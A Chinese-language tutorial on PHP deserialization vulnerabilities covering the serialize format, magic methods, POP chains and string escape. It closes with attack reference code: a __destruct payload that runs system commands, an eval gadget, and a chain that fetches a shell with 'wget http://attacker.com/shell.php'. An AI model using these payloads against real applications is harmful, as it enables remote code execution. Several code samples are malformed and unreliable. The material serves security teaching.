PHP 反序列化

php 面向对象的基本概念

类的定义

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。

对象是具有类类型的变量,是对类的实例。

内部构成: 成员变量(属性)+ 成员函数(方法)

成员变量(属性): 定义在类内部的变量。该变量的值对外是不可见的但是可以通过成员函数访问在类被实例化为对象后,该变量即可成为对象的属性。

成员函数(方法): 定义在类的内部可用于访问对象的数据。

继承: 继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。

父类: 一个类被其它类继承,可将该类成为父类,或基类,超类。

子类: 一个类继承其他类称为子类,也可称为派生类

类与对象

类的结构

类: 定义类名、定义成员变量(属性)、定义成员函数(方法)

1
2
3
4
class Class_Name {
//成员变量声明
//成员函数声明
}

类的内容

创建一个类:

1
2
3
4
5
6
7
8
class hero {                   //定义名(类名)
var $name; //声明成员变量
var $sex; //声明成员变量
function jineng($var1){ //声明成员函数(方法)
echo this->name; //使用预定义this调用成员变量
echo var1; //成员函数传参var1可直接调用
}
}

序列化基础知识

序列化的作用

序列化 (Serialization) 是将对象的状态信息 (属性) 转换为可以存储或传输的形式的过程。

1
2
序列化
对象 ----→ 字符串

将对象或者数组转化为可储存/传输的字符串。

在 php 中使用函数 serialize() 来将对象或者数组进行序列化,并返回一个包含字节流的字符串来表示。

表达方式

所有格式第一位都是数据类型的英文字母简写

1
2
3
4
5
6
7
serialize序列化
空字符 null --------------→ N;
整形 666 --------------→ i:666;
浮点型 66.6 --------------→ d:66.6;
布尔型 true --------------→ b:1;
false --------------→ b:0;
字符串 'abcde' --------------→ s:<字符串长度>:"abcde";

对象的序列化

不能序列化”类”;可以序列化”对象”

只序列化成员变量,不序列化成员函数

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
public $pub='benben';
public $ben='pubpub';
function jineng()
{echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
1
O:4:"test":2:{s:3:"pub";s:6:"benben";s:3:"ben";s:6:"pubpub";}
1
<Object>:<类名长度>:<"变量名">:<变量数量>:{s:<变量长度>:<"变量名称">;s:<值长度>:<"变量值">;}

private 私有属性序列化

1
2
3
4
5
6
7
8
9
10
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

private 私有属性序列化时在变量名前加 %00 类名 %00

1
O:4:"test":1:{s:9:"%00test%00pub";s:6:"benben";}

protected 受保护属性序列化

1
2
3
4
5
6
7
8
9
10
<?php
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

protected 受保护属性序列化时在变量名前加 %00%00*

1
O:4:"test":1:{s:6:"%00*%00pub";s:6:"benben";}

调用另一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>

对象 $a 在实例化类’test2’时调用另一个类’test’实例化后的对象

1
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

反序列化的特性

反序列化的作用

将序列化后的参数还原成实例化的对象。

1
2
3
4
5
序列化
对象 ----→ 字符串

反序列化
对象 ←---- 字符串
  1. 反序列化之后的内容为一个对象
  2. 反序列化生成的对象里的值,由反序列化里的值提供:与原有类预定义的值无关
  3. 反序列化不触发类的成员方法,需要调用方法后才能触发

反序列化漏洞

反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关;

反序列化漏洞的成因:

反序列化过程中,unserialize()接收的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值

反序列化不改变类的成员方法;需要调用方法后才能触发

通过调用方法,触发代码执行。

魔术方法简介

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

魔术方法在特定条件下自动调用相关方法,最终导致触发代码。

魔术方法相关机制

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;

实例化对象时触发构造函数__construct()

在序列化和反序列化过程中不会触发;

触发时机: 实例化对象

功能: 提前清理不必要内容

参数: 非必要

__destrust()

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。

实例化对象结束后,代码运行完会销毁,触发析构函数__destrust()

反序列化得到的是对象,用完后会销毁,触发析构函数__destrust()

在序列化过程中不会触发;

在反序列化过程中会触发;

触发时机: 对象引用完成,或对象被销毁

__sleep()

序列化 serialize()函数会检查类中是否存在一个魔术方法__sleep()。

如果存在,该方法会先被调用,然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

触发时机: 序列化 serialize()之前

功能: 对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数: 成员属性

返回值: 需要被序列化存储的成员属性

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法。

如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

预先准备对象资源,返回 void,常用于发序列化操作中重新建立数据库

连接或执行其他初始化操作。

__toString()

表达方式错误导致魔术方法触发

比如说,把类 User 实体化并赋值给 $test​,此时 $test 是个对象

调用对象可以使用 print_r 或者 var_dump

如果使用 echo 或者 print 这种只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发 toString()

常常用于构造 POP 链

触发时机:对象当成字符串调用

__invoke()

格式表达错误导致魔术方法触发

把类 User 实例化并赋值给 $test对象正常输出对象的值

()test 当成函数 test() 来调用,此时触发 invoke()

触发时机:对象当成函数调用

错误调用相关魔术方法

__call()

触发时机: 调用一个不存在的方法

参数: 2 个参数传参 $arg1,$arg2

返回值: 调用的不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
$test = new User();
$test -> callxxx('a');
?>

$test -> callxxx('a'); 调用的方法 callxxx() 不存在,触发魔术方法 call()

触发 call()​,传参 $arg1,$arg2 (callxxx,a)

$arg1,调用的不存在的方法的名称;

$arg2,调用的不存在的方法的参数;

__callStatic()

触发时机: 静态调用或调用成员常量时使用的方法不存在

参数: 2 个参数传参 $arg1,$arg2

返回值: 调用的不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
<?php
class User {
public function __calllStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
$test = new User();
$test -> ::callxxx('a');
?>

$test -> ::callxxx('a'); 静态调用::时的方法 callxxx() 不存在,触发魔术方法 __calllStatic(),传参 $arg1,$arg2 (callxxx,a)

__get()

触发时机: 调用的成员属性不存在

参数: 传参 $arg1

返回值: 不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
$test = new User();
$test -> var2;
?>

$test -> :var2; 调用的成员属性 var2 不存在
触发 get()​,把不存在的属性名称 var2 赋值给 $arg1

__set()

触发时机: 给不存在的成员属性赋值

参数: 传参 $arg1,$arg2

返回值: 不存在的成员属性的名称和赋的值

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $var1;
public function __set($arg1,$arg2)
{
echo $arg1.','.$arg2;
}
$test = new User();
$test -> var2=1;
?>

$test -> var2=1; 给不存在的成员属性 var2 赋值为 1
先触发 get(),再触发 set()

$arg1,不存在成员属性的名称;

$arg2,给不存在的成员属性 var2 赋的值

__isset()

触发时机: 对不可访问属性使用 isset()empty() 时,_isset() 会被调用。

参数: 传参 $arg1

返回值: 不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $var;
public function __isset($arg1)
{
echo $arg1;
}
$test = new User();
isset($test->var);
?>

isset() 调用的成员属性 var 不可访问或不存在

触发 isset()

返回 $arg1​,不存在成员属性的名称;

__unset()

触发时机: 对不可访问属性使用 unset()

参数: 传参 $arg1

返回值: 不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $var;
public function __unset($arg1)
{
echo $arg1;
}
$test = new User();
unset($test->var);
?>

unset() 调用的成员属性 var 不可访问或不存在
触发 unset()
返回 $arg1,不存在成员属性的名称;

__clone()

触发时机: 当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone()

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $var;
public function __clone()
{
echo "__clone test";
}
$test = new User();
$newclass = clone($test)
?>

使用 clone() 克隆对象完成后触发魔术方法 _clone()

POP 链前置知识

POP 链是利用 PHP 反序列化过程中对象属性控制及魔术方法自动调用的特性,通过拼接多个 Gadget 对象,形成一条链式调用,从而实现任意代码执行或其他恶意操作。其基本原理可以总结为以下几点:

  • 魔术方法触发机制
    PHP 中许多魔术方法(如 __wakeup()__destruct()__toString() 等)在对象生命周期中特定时机自动调用,这为攻击者提供了利用点。__destruct() 在对象销毁时触发,若该方法中存在敏感操,则可以直接利用。
  • 反序列化数据完全由外部控制
    反序列化时,攻击者可以通过构造恶意序列化数据,精确控制对象各属性的值和数据类型。这意味着攻击者能“伪造”出合法但内含恶意逻辑的对象,从而绕过安全检测。
  • 链式组合(Gadget 链)
    单个 Gadget(即单个存在漏洞的类)可能无法直接执行所需恶意操作,但通过将多个 Gadget 组合在一起,可构成一个完整的攻击链。每个 Gadget 负责触发下一步操作,最终形成从触发点到最终攻击目标的闭环。

构造 POP 链

  1. Gadget 选择与链路规划

首先分析目标程序中所有可用的类,确定哪些类的魔术方法存在安全隐患。常见的 Gadget 类型包括:

  • 命令执行 Gadget
    如在 __destruct() __toString() 中调用 system()exec()passthru() 等函数。
  • 文件操作 Gadget
    可能包含在 __wakeup() 中对文件的读写操作,若能控制文件路径,则可以借此实现文件覆盖或远程代码执行。
  • 数据库连接 Gadget
    某些类在反序列化后会重新建立数据库连接,通过操纵数据库查询或操作,可以达到更深层次的渗透。

在确定 Gadget 后,需要设计链式调用顺序。例如,利用一个 Gadget 在 __wakeup() 中初始化环境,然后将关键数据传递给下一个 Gadget,最终由 __destruct() 触发恶意代码执行。

字符串逃逸

序列化字符串格式与长度匹配

在 PHP 的序列化字符串中,每个字符串以如下格式表示:

1
s:<长度>:"实际内容";

例如,字符串 “test” 被序列化后为:

1
s:4:"test";

在构造恶意序列化数据时,确保长度与实际内容严格匹配是十分关键的,否则会导致反序列化失败。特别是在嵌入特殊字符(如引号、反斜杠、换行符等)时,必须考虑字符转义后的字节数。

特殊字符与转义处理

若字符串中包含双引号或其他可能中断序列化结构的字符,攻击者必须在序列化时进行适当转义。

例如,字符串:

1
test"string

实际长度为 11 字节,则正确的序列化表达应为:

1
s:11:"test\"string";

在某些情况下,防御机制可能会过滤特定敏感字符,攻击者可以利用 PHP 内部对转义字符的解析机制,通过构造复杂的逃逸序列绕过过滤规则,最终生成合法且恶意的序列化数据。

字符串注入与数据结构混淆

利用字符串逃逸不仅限于确保格式正确,还可以通过巧妙构造,注入额外数据字段或修改对象结构。例如,攻击者可能在字符串中嵌入类似分隔符的字符,使得原本应被过滤的数据得以注入到对象属性中。如下示例展示了如何利用字符串注入实现数据结构混淆:

1
2
3
4
5
6
7
8
9
10
// 假设目标类中存在敏感属性,但被直接过滤
class Sensitive {
public
$data;
function __destruct() {
// 利用 data 属性执行操作
eval($
this->data);
}
}

通过构造如下序列化数据:

1
O:9:"Sensitive":1:{s:4:"data";s:23:"malicious_code(); // extra";}

攻击者可以在 data 属性中嵌入恶意代码。如果过滤器仅检查固定关键字,而未能正确处理字符串转义,则可能被绕过,从而导致敏感操作被执行。

复杂 POP 链构造

常见反序列化攻击参考代码

利用 __destruct() 执行系统命令

1
2
3
4
5
6
7
8
9
10
11
12
class ExecCmd {
public
$cmd;
function __destruct() {
system($
this->cmd);
}
}
// 序列化数据构造
$payload = 'O:7:"ExecCmd":1:{s:3:"cmd";s:12:"id > /tmp/pwn";}';
// 反序列化后,脚本结束时 __destruct() 被调用,执行系统命令
unserialize($payload);

利用 __toString() 触发链式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class StringProcessor {
public
$code;
function __toString() {
// 当对象被转换为字符串时执行 eval
eval($
this->code);
return "";
}
}
$obj = new StringProcessor();
$obj->code = 'echo "Exploited!";';
// 触发 __toString() 方法
echo $obj;

多 Gadget 组合构造复杂 POP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Logger {
public
$logPath;
function __wakeup() {
file_put_contents($
this->logPath, "Logger activated");
}
}
class Executor {
public
$command;
function __destruct() {
system($
this->command);
}
}
class Chain {
public
$logger;
public $
executor;
}
$chain = new Chain();
$chain->logger = new Logger();
$chain->logger->logPath = '/tmp/chain.log';
$chain->executor = new Executor();
$chain->executor->command = 'wget http://attacker.com/shell.php';
// 序列化后的字符串由攻击者构造,反序列化时按顺序触发 __wakeup() 和 __destruct()
$$payload = serialize($$chain);
unserialize($payload);